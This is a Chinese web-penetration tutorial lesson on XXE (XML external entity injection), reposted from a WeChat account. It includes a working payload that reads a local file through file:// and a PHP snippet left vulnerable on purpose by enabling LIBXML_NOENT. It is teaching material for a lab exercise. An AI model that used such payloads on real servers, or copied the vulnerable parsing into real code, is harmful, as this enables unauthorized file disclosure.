【Web渗透入门】9.XXE漏洞讲解

admin 2023年4月9日12:44:07评论26 views字数 1479阅读4分55秒阅读模式

本节课视频讲解链接:

暂时无法播放,可回源网站播放

1、漏洞说明

概述:

XXE漏洞,又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置执行, 也就是说服务端接收和解析了来自客户端的xml数据,由于没有对此数据做严格的安全控制,从而导致xml外部实体注入。

在现在很多语言里用于解析xml的函数,默认禁止解析外部实体内容,从而就避免了此漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的php版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

XML+DTD基本语法:

DTD(Document Type Definition),即文档定义类型,用来为XML文档定义语义约束。

<!--声明xml的版本号-->
<?xml version="1.0"?>
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->  
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<!--文档元素-->
<note>
<head>Message</head>
<body>This is a XML message</body>
</note>


2、漏洞复现

xml外部引用不仅支持file协议,还支持http、ftp协议。

如下代码所示,利用file协议读取网站根目录下的flag.txt文件:

<?xml version="1.0"?>

<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>

<x>&file;</x>

【Web渗透入门】9.XXE漏洞讲解

【Web渗透入门】9.XXE漏洞讲解


3、漏洞代码审计

前端将 $_POST['xml'] 传递给变量 $xml,由于后台没有对此变量进行安全判断就直接使用 simplexml_load_string 函数进行xml解析,从而导致xxe漏洞

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){

   $xml =$_POST['xml'];
   $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
   
   if($data){
       $html.="<pre>{$data}</pre>";
  }else{
       $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
  }
}
?>

因此可以构建恶意xml通过post请求提交给后台,以此实现xml外部实体注入,这里先构建个简单的xml提交试试,页面成功回显 hello world 字符串。

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE note [
   <!ENTITY test "hello world">
]>

<name>&test;</name>

【Web渗透入门】9.XXE漏洞讲解


原文始发于微信公众号(ZackSecurity):【Web渗透入门】9.XXE漏洞讲解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月9日12:44:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透入门】9.XXE漏洞讲解https://cn-sec.com/archives/1662597.html

发表评论

匿名网友 填写信息